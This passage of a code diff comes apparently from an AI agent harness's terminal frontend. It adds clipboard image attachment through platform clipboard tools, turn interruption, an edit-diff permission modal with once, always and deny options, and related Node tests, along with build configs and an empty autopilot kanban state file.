"noEmit": true,
"jsx": "react-jsx",
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noFallthroughCasesInSwitch": true,
"noUncheckedSideEffectImports": true
},
"include": ["src"]
}
+4
View File
@@ -0,0 +1,4 @@
{
"files": [],
"references": [{ "path": "./tsconfig.app.json" }]
}
+11
View File
@@ -0,0 +1,11 @@
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
export default defineConfig({
plugins: [react()],
base: "./",
build: {
outDir: "../docs/autopilot",
emptyOutDir: false,
},
});
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+16
View File
@@ -0,0 +1,16 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Autopilot Kanban</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&display=swap" rel="stylesheet" />
<script type="module" crossorigin src="./assets/index-gQnrxco6.js"></script>
<link rel="stylesheet" crossorigin href="./assets/index-CENkxP5l.css">
</head>
<body>
<div id="root"></div>
</body>
</html>
+59
View File
@@ -0,0 +1,59 @@
{
"generated_at": 1776338766.0050209,
"repo_name": "OpenHarness-new",
"repo_path": "/home/tangjiabin/OpenHarness-new",
"focus": null,
"counts": {
"queued": 0,
"accepted": 0,
"preparing": 0,
"running": 0,
"verifying": 0,
"pr_open": 0,
"waiting_ci": 0,
"repairing": 0,
"completed": 0,
"merged": 0,
"failed": 0,
"rejected": 0,
"superseded": 0
},
"status_order": [
"queued",
"accepted",
"preparing",
"running",
"verifying",
"pr_open",
"waiting_ci",
"repairing",
"completed",
"merged",
"failed",
"rejected",
"superseded"
],
"columns": {
"queued": [],
"accepted": [],
"preparing": [],
"running": [],
"verifying": [],
"pr_open": [],
"waiting_ci": [],
"repairing": [],
"completed": [],
"merged": [],
"failed": [],
"rejected": [],
"superseded": []
},
"cards": [],
"journal": [],
"policies": {
"autopilot": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/autopilot_policy.yaml",
"verification": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/verification_policy.yaml",
"release": "/home/tangjiabin/OpenHarness-new/.openharness/autopilot/release_policy.yaml"
},
"active_context": "# Active Repo Context\n\nGenerated at: 2026-04-16 11:05:49 UTC\n\n## Current Task Focus\n- No active repo task focus yet.\n\n## In Progress\n- None.\n\n## Next Up\n- No queued items.\n\n## Recently Completed\n- None yet.\n\n## Recent Failures\n- None.\n\n## Recent Repo Journal\n- Journal is empty.\n\n## Policies\n- Autopilot: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/autopilot_policy.yaml\n- Verification: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/verification_policy.yaml\n- Release: /home/tangjiabin/OpenHarness-new/.openharness/autopilot/release_policy.yaml"
}
+155 -24
View File
@@ -1,6 +1,7 @@
import React, {useEffect, useMemo, useState} from 'react';
import React, {useDeferredValue, useEffect, useMemo, useRef, useState} from 'react';
import {Box, Text, useApp, useInput} from 'ink';
import {readClipboardImage, type ImageAttachment} from './clipboardImage.js';
import {CommandPicker} from './components/CommandPicker.js';
import {ConversationView} from './components/ConversationView.js';
import {ModalHost} from './components/ModalHost.js';
@@ -11,7 +12,7 @@ import {SwarmPanel} from './components/SwarmPanel.js';
import {TodoPanel} from './components/TodoPanel.js';
import {useBackendSession} from './hooks/useBackendSession.js';
import {ThemeProvider, useTheme} from './theme/ThemeContext.js';
import type {FrontendConfig} from './types.js';
import type {FrontendConfig, ImageAttachmentPayload} from './types.js';
const rawReturnSubmit = process.env.OPENHARNESS_FRONTEND_RAW_RETURN === '1';
const scriptedSteps = (() => {
@@ -64,12 +65,22 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
const [modalInput, setModalInput] = useState('');
const [history, setHistory] = useState<string[]>([]);
const [historyIndex, setHistoryIndex] = useState(-1);
const [imageAttachments, setImageAttachments] = useState<ImageAttachment[]>([]);
const [clipboardStatus, setClipboardStatus] = useState<string | null>(null);
const [lastEscapeAt, setLastEscapeAt] = useState(0);
const [scriptIndex, setScriptIndex] = useState(0);
const [pickerIndex, setPickerIndex] = useState(0);
const [selectModal, setSelectModal] = useState<SelectModalState>(null);
const [selectIndex, setSelectIndex] = useState(0);
const session = useBackendSession(config, () => exit());
const deferredTranscript = useDeferredValue(session.transcript);
const deferredAssistantBuffer = useDeferredValue(session.assistantBuffer);
const deferredStatus = useDeferredValue(session.status);
const deferredTasks = useDeferredValue(session.tasks);
const deferredTodoMarkdown = useDeferredValue(session.todoMarkdown);
const deferredSwarmTeammates = useDeferredValue(session.swarmTeammates);
const deferredSwarmNotifications = useDeferredValue(session.swarmNotifications);
const clipboardStatusTimerRef = useRef<NodeJS.Timeout | null>(null);
useEffect(() => {
const nextTheme = session.status.theme;
@@ -78,10 +89,51 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
}
}, [session.status.theme, setThemeName]);
useEffect(() => {
return () => {
if (clipboardStatusTimerRef.current) {
clearTimeout(clipboardStatusTimerRef.current);
}
};
}, []);
const setTemporaryClipboardStatus = (message: string): void => {
setClipboardStatus(message);
if (clipboardStatusTimerRef.current) {
clearTimeout(clipboardStatusTimerRef.current);
}
clipboardStatusTimerRef.current = setTimeout(() => {
setClipboardStatus(null);
clipboardStatusTimerRef.current = null;
}, 2500);
};
const attachClipboardImage = (): void => {
void (async () => {
const image = await readClipboardImage();
if (!image) {
setTemporaryClipboardStatus('No image found in clipboard');
return;
}
setImageAttachments((items) => [...items, image]);
setTemporaryClipboardStatus(`Attached ${image.label}`);
})().catch((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
setTemporaryClipboardStatus(`Clipboard image unavailable: ${message}`);
});
};
const imagePayloads = (): ImageAttachmentPayload[] =>
imageAttachments.map((image) => ({
media_type: image.media_type,
data: image.data,
source_path: image.source_path,
}));
// Current tool name for spinner
const currentToolName = useMemo(() => {
for (let i = session.transcript.length - 1; i >= 0; i--) {
const item = session.transcript[i];
for (let i = deferredTranscript.length - 1; i >= 0; i--) {
const item = deferredTranscript[i];
if (item.role === 'tool') {
return item.tool_name ?? 'tool';
}
@@ -90,7 +142,7 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
}
}
return undefined;
}, [session.transcript]);
}, [deferredTranscript]);
// Command hints
const commandHints = useMemo(() => {
@@ -102,6 +154,7 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
}, [session.commands, input]);
const showPicker = commandHints.length > 0 && !session.busy && !session.modal && !selectModal;
const outputStyle = String(session.status.output_style ?? 'default');
useEffect(() => {
setPickerIndex(0);
@@ -169,14 +222,25 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
useInput((chunk, key) => {
const isPaste = chunk.length > 1 && !key.ctrl && !key.meta;
const isEscape = key.escape || chunk === '\u001B';
// Ctrl+C → exit
// Ctrl+C interrupts a running turn; when idle it exits the TUI.
if (key.ctrl && chunk === 'c') {
if (session.busy) {
session.sendRequest({type: 'interrupt'});
session.setBusyLabel('Stopping current operation...');
return;
}
session.sendRequest({type: 'shutdown'});
exit();
return;
}
if (!session.busy && key.ctrl && chunk === 'v') {
attachClipboardImage();
return;
}
// Let ink-text-input handle pasted text directly.
if (isPaste) {
return;
@@ -244,7 +308,7 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
session.setModal(null);
return;
}
if (chunk.toLowerCase() === 'n' || key.escape) {
if (chunk.toLowerCase() === 'n' || isEscape) {
session.sendRequest({
type: 'permission_response',
request_id: session.modal.request_id,
@@ -256,16 +320,64 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
return;
}
// --- Edit diff modal (also appears while busy) ---
if (session.modal?.kind === 'edit_diff') {
if (chunk.toLowerCase() === 'y') {
session.sendRequest({
type: 'permission_response',
request_id: session.modal.request_id,
allowed: true,
permission_reply: 'once',
});
session.setModal(null);
return;
}
if (chunk.toLowerCase() === 'a') {
session.sendRequest({
type: 'permission_response',
request_id: session.modal.request_id,
allowed: true,
permission_reply: 'always',
});
session.setModal(null);
return;
}
if (chunk.toLowerCase() === 'n' || isEscape) {
session.sendRequest({
type: 'permission_response',
request_id: session.modal.request_id,
allowed: false,
permission_reply: 'reject',
});
session.setModal(null);
return;
}
return;
}
// --- Question modal (also appears while busy) ---
if (session.modal?.kind === 'question') {
return; // Let TextInput in ModalHost handle input
}
if (session.busy && isEscape) {
session.sendRequest({type: 'interrupt'});
session.setBusyLabel('Stopping current operation...');
return;
}
// --- Ignore input while busy ---
if (session.busy) {
return;
}
// Empty-input Tab opens the permission mode picker. This makes leaving
// plan mode explicit without requiring users to remember /permissions.
if (!showPicker && key.tab && input.trim() === '') {
session.sendRequest({type: 'select_command', command: 'permissions'});
return;
}
// --- Command picker ---
if (showPicker) {
if (key.upArrow) {
@@ -289,20 +401,25 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
if (key.tab) {
const selected = commandHints[pickerIndex];
if (selected) {
setInput(selected + ' ');
// Complete to the selected command with no trailing space —
// the user can hit Enter immediately to run it, or keep
// typing to add args. The trailing space made it look like
// Tab was "committing" with a token, which broke the flow.
setInput(selected);
}
return;
}
if (key.escape) {
if (isEscape) {
setInput('');
return;
}
}
if (key.escape) {
if (isEscape) {
const now = Date.now();
if (input && now - lastEscapeAt < 500) {
if ((input || imageAttachments.length > 0) && now - lastEscapeAt < 500) {
setInput('');
setImageAttachments([]);
setHistoryIndex(-1);
setLastEscapeAt(0);
return;
@@ -342,20 +459,28 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
setModalInput('');
return;
}
if (!value.trim() || session.busy || !session.ready) {
if ((!value.trim() && imageAttachments.length === 0) || session.busy || !session.ready) {
if (session.busy && value.trim() === '/stop') {
session.sendRequest({type: 'interrupt'});
session.setBusyLabel('Stopping current operation...');
setInput('');
}
return;
}
// Check if it's an interactive command
if (handleCommand(value)) {
if (imageAttachments.length === 0 && handleCommand(value)) {
setHistory((items) => [...items, value]);
setHistoryIndex(-1);
setInput('');
return;
}
session.sendRequest({type: 'submit_line', line: value});
setHistory((items) => [...items, value]);
session.sendRequest({type: 'submit_line', line: value, images: imagePayloads()});
if (value.trim()) {
setHistory((items) => [...items, value]);
}
setHistoryIndex(-1);
setInput('');
setImageAttachments([]);
session.setBusy(true);
};
@@ -380,9 +505,10 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
{/* Conversation area */}
<Box flexDirection="column" flexGrow={1}>
<ConversationView
items={session.transcript}
assistantBuffer={session.assistantBuffer}
showWelcome={session.ready}
items={deferredTranscript}
assistantBuffer={deferredAssistantBuffer}
showWelcome={session.ready && outputStyle !== 'codex'}
outputStyle={outputStyle}
/>
</Box>
@@ -411,18 +537,18 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
) : null}
{/* Todo panel */}
{session.ready && session.todoMarkdown ? (
<TodoPanel markdown={session.todoMarkdown} />
{session.ready && deferredTodoMarkdown ? (
<TodoPanel markdown={deferredTodoMarkdown} />
) : null}
{/* Swarm panel */}
{session.ready && (session.swarmTeammates.length > 0 || session.swarmNotifications.length > 0) ? (
<SwarmPanel teammates={session.swarmTeammates} notifications={session.swarmNotifications} />
{session.ready && (deferredSwarmTeammates.length > 0 || deferredSwarmNotifications.length > 0) ? (
<SwarmPanel teammates={deferredSwarmTeammates} notifications={deferredSwarmNotifications} />
) : null}
{/* Status bar (only after backend is ready) */}
{session.ready ? (
<StatusBar status={session.status} tasks={session.tasks} activeToolName={session.busy ? currentToolName : undefined} />
<StatusBar status={deferredStatus} tasks={deferredTasks} activeToolName={session.busy ? currentToolName : undefined} />
) : null}
{/* Input — show loading indicator until backend is ready */}
@@ -439,6 +565,8 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
toolName={session.busy ? currentToolName : undefined}
statusLabel={session.busy ? (session.busyLabel ?? (currentToolName ? `Running ${currentToolName}...` : 'Running agent loop...')) : undefined}
suppressSubmit={showPicker}
imageAttachmentLabels={imageAttachments.map((image) => image.label)}
clipboardStatus={clipboardStatus}
/>
)}
@@ -446,10 +574,13 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
{session.ready && !session.modal && !selectModal ? (
<Box>
<Text dimColor>
<Text color={theme.colors.primary}>shift+enter</Text> newline{' '}
<Text color={theme.colors.primary}>enter</Text> send{' '}
<Text color={theme.colors.primary}>/</Text> commands{' '}
<Text color={theme.colors.primary}>tab</Text> mode{' '}
<Text color={theme.colors.primary}>{'\u2191\u2193'}</Text> history{' '}
<Text color={theme.colors.primary}>ctrl+c</Text> exit
<Text color={theme.colors.primary}>{session.busy ? '/stop' : 'esc'}</Text> stop{' '}
<Text color={theme.colors.primary}>ctrl+c</Text> {session.busy ? 'stop' : 'exit'}
</Text>
</Box>
) : null}
+173
View File
@@ -0,0 +1,173 @@
import {execFile} from 'node:child_process';
import {mkdtemp, readFile, rm, stat} from 'node:fs/promises';
import {tmpdir} from 'node:os';
import {join} from 'node:path';
export type ImageAttachment = {
id: string;
label: string;
media_type: string;
data: string;
source_path?: string;
size_bytes?: number;
};
const MAX_CLIPBOARD_IMAGE_BYTES = 15 * 1024 * 1024;
const EXEC_TIMEOUT_MS = 2500;
type ClipboardImageRead = {
data: Buffer;
mediaType: string;
label: string;
};
export async function readClipboardImage(): Promise<ImageAttachment | null> {
const image = await readClipboardImageData();
if (!image) {
return null;
}
return {
id: `clipboard-${Date.now()}-${Math.random().toString(16).slice(2)}`,
label: image.label,
media_type: image.mediaType,
data: image.data.toString('base64'),
source_path: `clipboard:${image.label}`,
size_bytes: image.data.length,
};
}
async function readClipboardImageData(): Promise<ClipboardImageRead | null> {
if (process.platform === 'darwin') {
return readMacClipboardImage();
}
if (process.platform === 'win32') {
return readWindowsClipboardImage();
}
return readLinuxClipboardImage();
}
async function readMacClipboardImage(): Promise<ClipboardImageRead | null> {
const tempDir = await mkdtemp(join(tmpdir(), 'openharness-clipboard-'));
try {
const pngPath = join(tempDir, 'clipboard.png');
if (await runFileCommand('pngpaste', [pngPath])) {
return await readImageFile(pngPath, 'image/png', 'clipboard.png');
}
if (await writeMacClipboardClass('PNGf', pngPath)) {
return await readImageFile(pngPath, 'image/png', 'clipboard.png');
}
const tiffPath = join(tempDir, 'clipboard.tiff');
if (await writeMacClipboardClass('TIFF', tiffPath)) {
if (await runFileCommand('sips', ['-s', 'format', 'png', tiffPath, '--out', pngPath])) {
return await readImageFile(pngPath, 'image/png', 'clipboard.png');
}
return await readImageFile(tiffPath, 'image/tiff', 'clipboard.tiff');
}
return null;
} finally {
await rm(tempDir, {recursive: true, force: true});
}
}
async function writeMacClipboardClass(classCode: 'PNGf' | 'TIFF', outputPath: string): Promise<boolean> {
const appleClass = `${String.fromCharCode(0xab)}class ${classCode}${String.fromCharCode(0xbb)}`;
const escapedPath = outputPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
return runFileCommand('osascript', [
'-e',
`set clipboardData to the clipboard as ${appleClass}`,
'-e',
`set outFile to open for access POSIX file "${escapedPath}" with write permission`,
'-e',
'set eof outFile to 0',
'-e',
'write clipboardData to outFile',
'-e',
'close access outFile',
]);
}
async function readWindowsClipboardImage(): Promise<ClipboardImageRead | null> {
const tempDir = await mkdtemp(join(tmpdir(), 'openharness-clipboard-'));
try {
const pngPath = join(tempDir, 'clipboard.png');
const escapedPath = pngPath.replace(/'/g, "''");
const powershell = join(
process.env.SystemRoot ?? 'C:\\Windows',
'System32',
'WindowsPowerShell',
'v1.0',
'powershell.exe',
);
const script = [
'Add-Type -AssemblyName System.Windows.Forms',
'Add-Type -AssemblyName System.Drawing',
'if (-not [Windows.Forms.Clipboard]::ContainsImage()) { exit 2 }',
'$image = [Windows.Forms.Clipboard]::GetImage()',
`$image.Save('${escapedPath}', [Drawing.Imaging.ImageFormat]::Png)`,
].join('; ');
if (!(await runFileCommand(powershell, ['-NoProfile', '-STA', '-Command', script]))) {
return null;
}
return await readImageFile(pngPath, 'image/png', 'clipboard.png');
} finally {
await rm(tempDir, {recursive: true, force: true});
}
}
async function readLinuxClipboardImage(): Promise<ClipboardImageRead | null> {
const attempts: Array<[string, string[], string, string]> = [
['wl-paste', ['--no-newline', '--type', 'image/png'], 'image/png', 'clipboard.png'],
['wl-paste', ['--no-newline', '--type', 'image/jpeg'], 'image/jpeg', 'clipboard.jpg'],
['xclip', ['-selection', 'clipboard', '-target', 'image/png', '-out'], 'image/png', 'clipboard.png'],
['xclip', ['-selection', 'clipboard', '-target', 'image/jpeg', '-out'], 'image/jpeg', 'clipboard.jpg'],
['xsel', ['--clipboard', '--output', '--mime-type', 'image/png'], 'image/png', 'clipboard.png'],
['xsel', ['--clipboard', '--output', '--mime-type', 'image/jpeg'], 'image/jpeg', 'clipboard.jpg'],
];
for (const [command, args, mediaType, label] of attempts) {
const data = await runBufferCommand(command, args);
if (data && data.length > 0) {
return {data, mediaType, label};
}
}
return null;
}
async function readImageFile(path: string, mediaType: string, label: string): Promise<ClipboardImageRead | null> {
const fileStat = await stat(path).catch(() => null);
if (!fileStat || fileStat.size <= 0 || fileStat.size > MAX_CLIPBOARD_IMAGE_BYTES) {
return null;
}
const data = await readFile(path);
return {data, mediaType, label};
}
async function runFileCommand(command: string, args: string[]): Promise<boolean> {
return new Promise((resolve) => {
execFile(command, args, {timeout: EXEC_TIMEOUT_MS, windowsHide: true}, (error) => {
resolve(!error);
});
});
}
async function runBufferCommand(command: string, args: string[]): Promise<Buffer | null> {
return new Promise((resolve) => {
execFile(
command,
args,
{
encoding: 'buffer',
maxBuffer: MAX_CLIPBOARD_IMAGE_BYTES + 1024,
timeout: EXEC_TIMEOUT_MS,
windowsHide: true,
},
(error, stdout) => {
if (error || !Buffer.isBuffer(stdout) || stdout.length > MAX_CLIPBOARD_IMAGE_BYTES) {
resolve(null);
return;
}
resolve(stdout);
},
);
});
}
@@ -1,7 +1,7 @@
import React from 'react';
import {Box, Text} from 'ink';
export function CommandPicker({
function CommandPickerInner({
hints,
selectedIndex,
}: {
@@ -31,3 +31,5 @@ export function CommandPicker({
</Box>
);
}
export const CommandPicker = React.memo(CommandPickerInner);
@@ -24,7 +24,7 @@ export function Composer({
</Box>
<Box marginTop={1}>
<Text dimColor>
enter=submit tab=complete ctrl-p/ctrl-n=history history_index={String(historyIndex)}
shift+enter=newline enter=submit tab=complete ctrl-p/ctrl-n=history history_index={String(historyIndex)}
</Text>
</Box>
</Box>
@@ -1,3 +1,4 @@
import React from 'react';
import {Box, Text} from 'ink';
import {useTheme} from '../theme/ThemeContext.js';
@@ -6,44 +7,113 @@ import {MarkdownText} from './MarkdownText.js';
import {ToolCallDisplay} from './ToolCallDisplay.js';
import {WelcomeBanner} from './WelcomeBanner.js';
export function ConversationView({
type ToolPair = readonly [TranscriptItem, TranscriptItem];
type GroupedItem = TranscriptItem | ToolPair;
function groupToolPairs(items: TranscriptItem[]): GroupedItem[] {
const result: GroupedItem[] = [];
let i = 0;
while (i < items.length) {
const cur = items[i];
const next = items[i + 1];
if (cur.role === 'tool' && next?.role === 'tool_result') {
result.push([cur, next] as const);
i += 2;
} else {
result.push(cur);
i++;
}
}
return result;
}
function ConversationViewInner({
items,
assistantBuffer,
showWelcome,
outputStyle,
}: {
items: TranscriptItem[];
assistantBuffer: string;
showWelcome: boolean;
outputStyle: string;
}): React.JSX.Element {
const {theme} = useTheme();
// Show the most recent items that fit the viewport
const isCodexStyle = outputStyle === 'codex';
const visible = items.slice(-40);
const grouped = groupToolPairs(visible);
return (
<Box flexDirection="column" flexGrow={1}>
{showWelcome && items.length === 0 ? <WelcomeBanner /> : null}
{visible.map((item, index) => (
<MessageRow key={index} item={item} theme={theme} />
))}
{grouped.map((group, index) => {
if (Array.isArray(group)) {
const [toolItem, resultItem] = group as [TranscriptItem, TranscriptItem];
return (
<ToolCallDisplay
key={index}
item={toolItem}
resultItem={resultItem}
outputStyle={outputStyle}
/>
);
}
return (
<MessageRow
key={index}
item={group as TranscriptItem}
theme={theme}
outputStyle={outputStyle}
/>
);
})}
{assistantBuffer ? (
<Box marginTop={1} marginBottom={0} flexDirection="column">
<Text>
<Text color={theme.colors.success} bold>{theme.icons.assistant}</Text>
</Text>
<Box marginLeft={2} flexDirection="column">
<MarkdownText content={assistantBuffer} />
isCodexStyle ? (
<Box flexDirection="row" marginTop={0}>
<Text>{assistantBuffer}</Text>
</Box>
</Box>
) : (
<Box marginTop={1} marginBottom={0} flexDirection="column">
<Text>
<Text color={theme.colors.success} bold>{theme.icons.assistant}</Text>
</Text>
<Box marginLeft={2} flexDirection="column">
<MarkdownText content={assistantBuffer} />
</Box>
</Box>
)
) : null}
</Box>
);
}
function MessageRow({item, theme}: {item: TranscriptItem; theme: ReturnType<typeof useTheme>['theme']}): React.JSX.Element {
export const ConversationView = React.memo(ConversationViewInner);
function MessageRow({
item,
theme,
outputStyle,
}: {
item: TranscriptItem;
theme: ReturnType<typeof useTheme>['theme'];
outputStyle: string;
}): React.JSX.Element {
const isCodexStyle = outputStyle === 'codex';
switch (item.role) {
case 'user':
if (isCodexStyle) {
return (
<Box marginTop={0}>
<Text>
<Text dimColor>{'> '}</Text>
<Text>{item.text}</Text>
</Text>
</Box>
);
}
return (
<Box marginTop={1} marginBottom={0}>
<Text>
@@ -54,6 +124,13 @@ function MessageRow({item, theme}: {item: TranscriptItem; theme: ReturnType<type
);
case 'assistant':
if (isCodexStyle) {
return (
<Box marginTop={0} marginBottom={0}>
<Text>{item.text}</Text>
</Box>
);
}
return (
<Box marginTop={1} marginBottom={0} flexDirection="column">
<Text>
@@ -67,9 +144,19 @@ function MessageRow({item, theme}: {item: TranscriptItem; theme: ReturnType<type
case 'tool':
case 'tool_result':
return <ToolCallDisplay item={item} />;
return <ToolCallDisplay item={item} outputStyle={outputStyle} />;
case 'system':
if (isCodexStyle) {
return (
<Box marginTop={0}>
<Text>
<Text color={theme.colors.warning}>[system]</Text>
<Text> {item.text}</Text>
</Text>
</Box>
);
}
return (
<Box marginTop={0}>
<Text>
@@ -0,0 +1,87 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {PassThrough} from 'node:stream';
import React from 'react';
import {render} from 'ink';
import {ModalHost} from './ModalHost.js';
const stripAnsi = (value: string): string => value.replace(/\u001B\[[0-9;?]*[ -/]*[@-~]/g, '');
const nextLoopTurn = (): Promise<void> => new Promise((resolve) => setImmediate(resolve));
type InkTestStdout = PassThrough & {
isTTY: boolean;
columns: number;
rows: number;
cursorTo: () => boolean;
clearLine: () => boolean;
moveCursor: () => boolean;
};
function createTestStdout(): InkTestStdout {
return Object.assign(new PassThrough(), {
isTTY: true,
columns: 120,
rows: 40,
cursorTo: () => true,
clearLine: () => true,
moveCursor: () => true,
});
}
async function waitForOutputToStabilize(getOutput: () => string): Promise<string> {
let previous = '';
let sawOutput = false;
for (let i = 0; i < 50; i += 1) {
await nextLoopTurn();
const current = getOutput();
sawOutput ||= current.length > 0;
if (sawOutput && current === previous) {
return current;
}
previous = current;
}
throw new Error(`Ink output did not stabilize: ${JSON.stringify(previous)}`);
}
test('renders edit diff preview with stats and always shortcut', async () => {
const stdout = createTestStdout();
let output = '';
stdout.on('data', (chunk) => {
output += chunk.toString();
});
const instance = render(
<ModalHost
modal={{
kind: 'edit_diff',
path: 'src/demo.txt',
diff: '@@ -1 +1 @@\n-old line\n+new line',
added: 1,
removed: 1,
}}
modalInput=""
setModalInput={() => undefined}
onSubmit={() => undefined}
/>,
{stdout: stdout as unknown as NodeJS.WriteStream, debug: true, patchConsole: false},
);
const exitPromise = instance.waitUntilExit();
const stableOutput = await waitForOutputToStabilize(() => output);
instance.unmount();
await exitPromise;
instance.cleanup();
stdout.destroy();
const rendered = stripAnsi(stableOutput);
assert.match(rendered, /Edit src\/demo\.txt/);
assert.match(rendered, /\+1/);
assert.match(rendered, /-1/);
assert.match(rendered, /\+new line/);
assert.match(rendered, /-old line/);
assert.match(rendered, /\[a\] Always/);
});
+105 -1
View File
@@ -8,6 +8,7 @@ const WAIT_FRAMES = [
'Agent is waiting for your input.. ',
'Agent is waiting for your input...',
];
const MAX_DIFF_LINES = 40;
function WaitingAnimation(): React.JSX.Element {
const [frame, setFrame] = useState(0);
@@ -85,7 +86,105 @@ function QuestionModal({
);
}
export function ModalHost({
type DiffLineKind = 'add' | 'del' | 'hunk' | 'context';
type ParsedDiffLine = {
kind: DiffLineKind;
content: string;
};
function parseDiffLines(diffText: string): ParsedDiffLine[] {
return diffText
.split('\n')
.flatMap((raw): ParsedDiffLine[] => {
if (!raw || raw.startsWith('+++') || raw.startsWith('---')) {
return [];
}
if (raw.startsWith('@@')) {
return [{kind: 'hunk', content: raw}];
}
if (raw.startsWith('+')) {
return [{kind: 'add', content: raw.slice(1)}];
}
if (raw.startsWith('-')) {
return [{kind: 'del', content: raw.slice(1)}];
}
return [{kind: 'context', content: raw.startsWith(' ') ? raw.slice(1) : raw}];
});
}
function EditDiffModal({modal}: {modal: Record<string, unknown>}): React.JSX.Element {
const path = String(modal.path ?? '');
const added = Number(modal.added ?? 0);
const removed = Number(modal.removed ?? 0);
const lines = parseDiffLines(String(modal.diff ?? ''));
const visibleLines = lines.slice(0, MAX_DIFF_LINES);
const hiddenCount = lines.length - visibleLines.length;
return (
<Box flexDirection="column" marginTop={1}>
<Text>
<Text color="yellow" bold>{'\u250C '}</Text>
<Text bold>Edit </Text>
<Text color="cyan" bold>{path}</Text>
<Text>{' '}</Text>
<Text color="green">{`+${added}`}</Text>
<Text>{' '}</Text>
<Text color="red">{`-${removed}`}</Text>
</Text>
{visibleLines.map((line, index) => {
if (line.kind === 'hunk') {
return (
<Text key={index}>
<Text color="yellow">{'\u2502 '}</Text>
<Text color="cyan" dimColor>{line.content}</Text>
</Text>
);
}
if (line.kind === 'add') {
return (
<Text key={index}>
<Text color="yellow">{'\u2502 '}</Text>
<Text color="green">+</Text>
<Text color="green">{line.content}</Text>
</Text>
);
}
if (line.kind === 'del') {
return (
<Text key={index}>
<Text color="yellow">{'\u2502 '}</Text>
<Text color="red">-</Text>
<Text color="red">{line.content}</Text>
</Text>
);
}
return (
<Text key={index}>
<Text color="yellow">{'\u2502 '}</Text>
<Text dimColor>{' '}{line.content}</Text>
</Text>
);
})}
{hiddenCount > 0 ? (
<Text>
<Text color="yellow">{'\u2502 '}</Text>
<Text dimColor>... {hiddenCount} more lines hidden</Text>
</Text>
) : null}
<Text>
<Text color="yellow">{'\u2514 '}</Text>
<Text color="green">[y] Once</Text>
<Text>{' '}</Text>
<Text color="green">[a] Always</Text>
<Text>{' '}</Text>
<Text color="red">[n] Deny</Text>
</Text>
</Box>
);
}
function ModalHostInner({
modal,
modalInput,
setModalInput,
@@ -120,6 +219,9 @@ export function ModalHost({
</Box>
);
}
if (modal?.kind === 'edit_diff') {
return <EditDiffModal modal={modal} />;
}
if (modal?.kind === 'question') {
return (
<QuestionModal
@@ -147,3 +249,5 @@ export function ModalHost({
}
return null;
}
export const ModalHost = React.memo(ModalHostInner);
@@ -0,0 +1,16 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {getBackspaceDeleteCount} from './PromptInput.js';
test('counts repeated backspace control characters from a single input chunk', () => {
assert.equal(getBackspaceDeleteCount('\b\b\b'), 3);
assert.equal(getBackspaceDeleteCount('\u007f\u007f'), 2);
assert.equal(getBackspaceDeleteCount('\x7f\x7f\x7f'), 3);
});
test('falls back to a single delete for empty or unexpected input', () => {
assert.equal(getBackspaceDeleteCount(''), 1);
assert.equal(getBackspaceDeleteCount('abc'), 1);
assert.equal(getBackspaceDeleteCount('\bA'), 1);
});
@@ -0,0 +1,244 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {PassThrough} from 'node:stream';
import React, {useState} from 'react';
import {render} from 'ink';
import {ThemeProvider} from '../theme/ThemeContext.js';
import {PromptInput} from './PromptInput.js';
const nextLoopTurn = (): Promise<void> => new Promise((resolve) => setImmediate(resolve));
type InkTestStdout = PassThrough & {
isTTY: boolean;
columns: number;
rows: number;
cursorTo: () => boolean;
clearLine: () => boolean;
moveCursor: () => boolean;
};
type InkTestStdin = PassThrough & {
isTTY: boolean;
setRawMode: (_mode: boolean) => void;
resume: () => InkTestStdin;
pause: () => InkTestStdin;
ref: () => InkTestStdin;
unref: () => InkTestStdin;
};
function createTestStdout(): InkTestStdout {
return Object.assign(new PassThrough(), {
isTTY: true,
columns: 120,
rows: 40,
cursorTo: () => true,
clearLine: () => true,
moveCursor: () => true,
});
}
function createTestStdin(): InkTestStdin {
return Object.assign(new PassThrough(), {
isTTY: true,
setRawMode: () => undefined,
resume() {
return this;
},
pause() {
return this;
},
ref() {
return this;
},
unref() {
return this;
},
});
}
async function sendKey(stdin: InkTestStdin, chunk: string | Buffer): Promise<void> {
stdin.write(chunk);
await nextLoopTurn();
await nextLoopTurn();
}
async function waitForValue(getValue: () => string, expected: string): Promise<void> {
for (let i = 0; i < 50; i += 1) {
await nextLoopTurn();
if (getValue() === expected) {
return;
}
}
assert.equal(getValue(), expected);
}
function PromptHarness({
busy = false,
onInputChange,
onSubmit = () => undefined,
}: {
busy?: boolean;
onInputChange: (value: string) => void;
onSubmit?: (value: string) => void;
}): React.JSX.Element {
const [input, setInput] = useState('');
return (
<ThemeProvider initialTheme="default">
<PromptInput
busy={busy}
input={input}
setInput={(value) => {
onInputChange(value);
setInput(value);
}}
onSubmit={onSubmit}
/>
</ThemeProvider>
);
}
test('treats terminal DEL at end-of-line as backward delete', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
